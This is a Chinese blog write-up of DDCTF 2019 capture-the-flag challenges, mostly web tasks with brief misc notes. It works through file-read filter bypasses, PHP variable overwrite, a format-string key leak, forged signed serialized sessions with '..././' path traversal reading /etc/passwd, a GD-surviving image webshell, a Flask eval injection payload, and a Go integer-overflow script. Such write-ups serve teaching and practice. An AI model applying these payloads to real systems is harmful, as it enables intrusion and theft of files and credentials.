美文网首页CTFctf
DDCTF 2019 WriteUp

DDCTF 2019 WriteUp

作者: Eumenides_62ac | 来源:发表于2019-04-19 19:46 被阅读3次

    Web

    打开发现url里的jpg是这样的:

    /index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
    

    通过扫描发现了:

    http://117.51.150.246/practice.txt.swp`
    

    回到之前的urljpg后面那串解密后是一串16进制,那把index.php转成16进制后再base64`编码两次后传入:
    http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
    

    得到源码:

    <?php
    /*
     * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
     * Date: July 4,2018
     */
    error_reporting(E_ALL || ~E_NOTICE);
    
    
    header('content-type:text/html;charset=utf-8');
    if(! isset($_GET['jpg']))
        header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
    $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
    echo '<title>'.$_GET['jpg'].'</title>';
    $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
    echo $file.'</br>';
    $file = str_replace("config","!", $file);
    echo $file.'</br>';
    $txt = base64_encode(file_get_contents($file));
    
    echo "<img src='data:image/gif;base64,".$txt."'></img>";
    /*
     * Can you find the flag file?
     *
     */
    
    ?>
    

    这里正则会过滤掉不是数字字母和.的其他字符。这里f1ag!ddctf.php!就会被过滤,想要去读就要绕过。这里str_replace("config","!", $file);会把config替换成!,这样就可以构造f1agconfigddctf.php来绕过了:
    http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
    

    成功读到。



    得到源码:

    <?php
    include('config.php');
    $k = 'hello';
    extract($_GET);
    if(isset($uid))
    {
        $content=trim(file_get_contents($k));
        if($uid==$content)
        {
            echo $flag;
        }
        else
        {
            echo'hello';
        }
    }
    
    ?>
    

    一个extract变量覆盖,构造:

    http://117.51.150.246/f1ag!ddctf.php?k1=&uid=
    

    得到flag


    参考链接:
    php file_get_contents 绕过
    “百度杯”CTF比赛 九月场------code

    Web签到题

    打开看到:


    构造X-Forwarded-For:127.0.0.1

    在网络可以看到验证了一个Auth.php,加入didictf_username: admin

    得到提示:
    您当前当前权限为管理员----请访问:app\/fL2XID2i0Cdh.php
    

    得到源码:

    
    
    
    url:app/Application.php
    
    
    Class Application {
        var $path = '';
    
    
        public function response($data, $errMsg = 'success') {
            $ret = ['errMsg' => $errMsg,
                'data' => $data];
            $ret = json_encode($ret);
            header('Content-type: application/json');
            echo $ret;
    
        }
    
        public function auth() {
            $DIDICTF_ADMIN = 'admin';
            if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
                $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
                return TRUE;
            }else{
                $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
                exit();
            }
    
        }
        private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\','',$path);
        return $path;
    }
    
    public function __destruct() {
        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizepath($this->path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path),'Congratulations');
        }
        exit();
    }
    }
    
    
    
    
    url:app/Session.php
    
    
    
    include 'Application.php';
    class Session extends Application {
    
        //key建议为8位字符串
        var $eancrykey                  = '';
        var $cookie_expiration          = 7200;
        var $cookie_name                = 'ddctf_id';
        var $cookie_path                = '';
        var $cookie_domain              = '';
        var $cookie_secure              = FALSE;
        var $activity                   = "DiDiCTF";
    
    
        public function index()
        {
        if(parent::auth()) {
                $this->get_key();
                if($this->session_read()) {
                    $data = 'DiDI Welcome you %s';
                    $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                    parent::response($data,'sucess');
                }else{
                    $this->session_create();
                    $data = 'DiDI Welcome you';
                    parent::response($data,'sucess');
                }
            }
    
        }
    
        private function get_key() {
            //eancrykey  and flag under the folder
            $this->eancrykey =  file_get_contents('../config/key.txt');
        }
    
        public function session_read() {
            if(empty($_COOKIE)) {
            return FALSE;
            }
    
            $session = $_COOKIE[$this->cookie_name];
            if(!isset($session)) {
                parent::response("session not found",'error');
                return FALSE;
            }
            $hash = substr($session,strlen($session)-32);
            $session = substr($session,0,strlen($session)-32);
    
            if($hash !== md5($this->eancrykey.$session)) {
                parent::response("the cookie data not match",'error');
                return FALSE;
            }
            $session = unserialize($session);
    
    
            if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
                return FALSE;
            }
    
            if(!empty($_POST["nickname"])) {
                $arr = array($_POST["nickname"],$this->eancrykey);
                $data = "Welcome my friend %s";
                foreach ($arr as $k => $v) {
                    $data = sprintf($data,$v);
                }
                parent::response($data,"Welcome");
            }
    
            if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
                parent::response('the ip addree not match'.'error');
                return FALSE;
            }
            if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
                parent::response('the user agent not match','error');
                return FALSE;
            }
            return TRUE;
    
        }
    
        private function session_create() {
            $sessionid = '';
            while(strlen($sessionid) < 32) {
                $sessionid .= mt_rand(0,mt_getrandmax());
            }
    
            $userdata = array(
                'session_id' => md5(uniqid($sessionid,TRUE)),
                'ip_address' => $_SERVER['REMOTE_ADDR'],
                'user_agent' => $_SERVER['HTTP_USER_AGENT'],
                'user_data' => '',
            );
    
            $cookiedata = serialize($userdata);
            $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
            $expire = $this->cookie_expiration + time();
            setcookie(
                $this->cookie_name,
                $cookiedata,
                $expire,
                $this->cookie_path,
                $this->cookie_domain,
                $this->cookie_secure
                );
    
        }
    }
    
    
    $ddctf = new Session();
    $ddctf->index();
    

    可以看到如果满足$this->session_read(),就会调用parent::response($data,'sucess');,parent里有__destruct()这个反序列话会用到的魔术方法。
    可以测试一下:

    <?php
    
    Class Application {
        public function response() {
            echo "ok</br>";
        }
    
        public function __destruct() {
            echo "Application 的 __destruct()被调用了";
        }
    }
    
    class Session extends Application {
        public function index(){
            parent::response();
        }
    }
    
    $d = new Session();
    $d->index();
    

    成功被调用了。这里就会产生php反序列化漏洞。


    可以看到此题拿flag的思路应该是先通过session反序列化 -->创建Application对象--> 控制path --> getflag
    签名规则是md5($this->eancrykey.$session),所以必须要拿到eancrykey。从$this->eancrykey = file_get_contents('../config/key.txt');这里可以看到eancrykey存放在../config/key.txt
    在获取nickname代码中:
            if(!empty($_POST["nickname"])) {
                $arr = array($_POST["nickname"],$this->eancrykey);
                $data = "Welcome my friend %s";
                foreach ($arr as $k => $v) {
                    $data = sprintf($data,$v);
                }
                parent::response($data,"Welcome");
            }
    

    存在sprintf()方法。可以通过格式化注入去取得key。传入nickname=%s


    得到eancrykeyEzblrbNS
    然后来伪造sessionpath会被sanitizepath()函数过滤,过滤了../..\,会被替换成共,可以通过双写....//来绕过。然后path的字符被限制为了18个。
            if(strlen($path) !== 18) {
                exit();
            }
    

    尝试去读/etc/passwd

    双写绕过为:/etc/..././etc/passwd
    序列化后: O:11:"Application":1:{s:4:"path";s:21:"/etc/..././etc/passwd";}
    按规则签名后: O%3a11%3a"Application"%3a1%3a{s%3a4%3a"path"%3bs%3a21%3a"/etc/..././etc/passwd"%3b}75c51ff78b04d77138ca58f797dedc0a;
    

    可以成功读到。


    然后去读../config/flag.txt。构造:
    <?php
    
    $eancrykey = 'EzblrbNS';
    
    class Application {
        var $path = '..././config/flag.txt';
    }
    
    
    $ddctf = new Application();
    var_dump(urlencode(serialize($ddctf)));
    echo "<br/>";
    var_dump(md5($eancrykey.serialize($ddctf)));
    

    传入得到flag

    Upload-IMG

    要上传文件:


    上传一张正常的图片后提示:

    这里图片经过了GD库。
    upload-labs-16跟这个类似。
    使用jpg_payload来构造图片马,使图片被GD库处理后仍然保留图片里的字符串。
    $ php jpg_payload.php 1.jpg
    

    上传后就能得到flag

    homebrew event loop

    题目给了源码:

    # -*- encoding: utf-8 -*- 
    # written in python 2.7 
    __author__ = 'garzon' 
    
    from flask import Flask, session, request, Response 
    import urllib 
    
    app = Flask(__name__) 
    app.secret_key = '*********************' # censored 
    url_prefix = '/d5af31f66147e657' 
    
    def FLAG(): 
        return 'FLAG_is_here_but_i_wont_show_you'  # censored 
         
    def trigger_event(event): 
        session['log'].append(event) 
        if len(session['log']) > 5: session['log'] = session['log'][-5:] 
        if type(event) == type([]): 
            request.event_queue += event 
        else: 
            request.event_queue.append(event) 
    
    def get_mid_str(haystack, prefix, postfix=None): 
        haystack = haystack[haystack.find(prefix)+len(prefix):] 
        if postfix is not None: 
            haystack = haystack[:haystack.find(postfix)] 
        return haystack 
         
    class RollBackException: pass 
    
    def execute_event_loop(): 
        valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
        resp = None 
        while len(request.event_queue) > 0: 
            event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
            request.event_queue = request.event_queue[1:] 
            if not event.startswith(('action:', 'func:')): continue 
            for c in event: 
                if c not in valid_event_chars: break 
            else: 
                is_action = event[0] == 'a' 
                action = get_mid_str(event, ':', ';') 
                args = get_mid_str(event, action+';').split('#') 
                try: 
                    event_handler = eval(action + ('_handler' if is_action else '_function')) 
                    ret_val = event_handler(args) 
                except RollBackException: 
                    if resp is None: resp = '' 
                    resp += 'ERROR! All transactions have been cancelled. <br />' 
                    resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                    session['num_items'] = request.prev_session['num_items'] 
                    session['points'] = request.prev_session['points'] 
                    break 
                except Exception, e: 
                    if resp is None: resp = '' 
                    #resp += str(e) # only for debugging 
                    continue 
                if ret_val is not None: 
                    if resp is None: resp = ret_val 
                    else: resp += ret_val 
        if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
        session.modified = True 
        return resp 
         
    @app.route(url_prefix+'/') 
    def entry_point(): 
        querystring = urllib.unquote(request.query_string) 
        request.event_queue = [] 
        if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
            querystring = 'action:index;False#False' 
        if 'num_items' not in session: 
            session['num_items'] = 0 
            session['points'] = 3 
            session['log'] = [] 
        request.prev_session = dict(session) 
        trigger_event(querystring) 
        return execute_event_loop() 
    
    # handlers/functions below -------------------------------------- 
    
    def view_handler(args): 
        page = args[0] 
        html = '' 
        html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
        if page == 'index': 
            html += '<a href="./?action:index;True%23False">View source code</a><br />' 
            html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
            html += '<a href="./?action:view;reset">Reset</a><br />' 
        elif page == 'shop': 
            html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
        elif page == 'reset': 
            del session['num_items'] 
            html += 'Session reset.<br />' 
        html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
        return html 
    
    def index_handler(args): 
        bool_show_source = str(args[0]) 
        bool_download_source = str(args[1]) 
        if bool_show_source == 'True': 
         
            source = open('eventLoop.py', 'r') 
            html = '' 
            if bool_download_source != 'True': 
                html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
                html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                 
            for line in source: 
                if bool_download_source != 'True': 
                    html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />') 
                else: 
                    html += line 
            source.close() 
             
            if bool_download_source == 'True': 
                headers = {} 
                headers['Content-Type'] = 'text/plain' 
                headers['Content-Disposition'] = 'attachment; filename=serve.py' 
                return Response(html, headers=headers) 
            else: 
                return html 
        else: 
            trigger_event('action:view;index') 
             
    def buy_handler(args): 
        num_items = int(args[0]) 
        if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
        session['num_items'] += num_items  
        trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
         
    def consume_point_function(args): 
        point_to_consume = int(args[0]) 
        if session['points'] < point_to_consume: raise RollBackException() 
        session['points'] -= point_to_consume 
         
    def show_flag_function(args): 
        flag = args[0] 
        #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
        return 'You naughty boy! ;) <br />' 
         
    def get_flag_handler(args): 
        if session['num_items'] >= 5: 
            trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
        trigger_event('action:view;index') 
         
    if __name__ == '__main__': 
        app.run(debug=False, host='0.0.0.0') 
    

    execute_event_loop()中,可以看到存在eval函数,而且action可控。具体解法看先知的WP
    使用payload

    ?action:trigger_event%23;action:buy;111%23action:get_flag;
    

    然后用session_ccokie_manager.py解开传过来的session_id就得到flag了。

    大吉大利,今晚吃鸡~

    首先注册处有一个越权漏洞。


    这是拿Go写的。Go写的CTFWeb,应该会考到整数溢出。下面是Go的整数范围:

    这里使用uint32溢出,也就是4294967296

    购买成功。
    然后就是要淘汰队友,直到自己最后一个。

    主要思路就是自己注册小号 - >买票 -> 付款 -> 加入游戏 -> 获取id踢掉。
    编写脚本:
    import requests
    import random
    import time
    
    tmpID = "1"
    
    tmpSession = requests.session()
    
    registerURL = "http://117.51.147.155:5050/ctf/api/register?name=5am3_t1{name}&password=12345678aa90"
    buyTicketURL = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
    payTicketURL = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}"
    removeRobotsURL = "http://117.51.147.155:5050/ctf/api/remove_robot?id={uid}&ticket={ticket}"
    
    headers = {
        "Cookie": "REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3"
    }
    
    def getTicket(tmpID):
        tmpRegisterURL = registerURL.replace("{name}",tmpID)
        tmpSession.get(tmpRegisterURL)
    
        billID = tmpSession.get(buyTicketURL).json()["data"][0]["bill_id"]
    
        # print(billID)
    
        tmpPayTicketURL = payTicketURL.replace("{bill}",billID)
        # print(tmpPayTicketURL)
        ticketJson = tmpSession.get(tmpPayTicketURL).json()
        # print(ticketJson)
        ticket,uid = ticketJson["data"][0].values()
    
        return ticket,uid
    
    if __name__ == '__main__':
        i = 1
        c = 0
        while(i<3 and c < 50):
            name = str(random.randint(1000, 90000))
            c+=1
            try:
                ticket,uid = getTicket(name)
                # print(ticket,uid)
    
                tmpRRURL = removeRobotsURL.replace("{uid}",str(uid)).replace("{ticket}",ticket)
                RRjson = requests.get(tmpRRURL,headers=headers).json()
    
                if(RRjson["data"]):
                    print("["+str(i)+"] " + str(RRjson["data"]))
                    print("")
                    i+=1
                time.sleep(1)
    
            except:
                pass
    

    mysql弱口令

    mysql弱口令

    Misc

    北京地铁

    wireshark

    打开可以看到一些流量:


    通过提取,能提取出三张图片:

    修改流量里第一张上传的图片的IHDR能得到key


    使用在线网址解密流量里的第二张图片:

    16进制转换成ASCII码就能得到flag

    相关文章

      网友评论

        本文标题:DDCTF 2019 WriteUp

        本文链接:https://www.haomeiwen.com/subject/znzkwqtx.html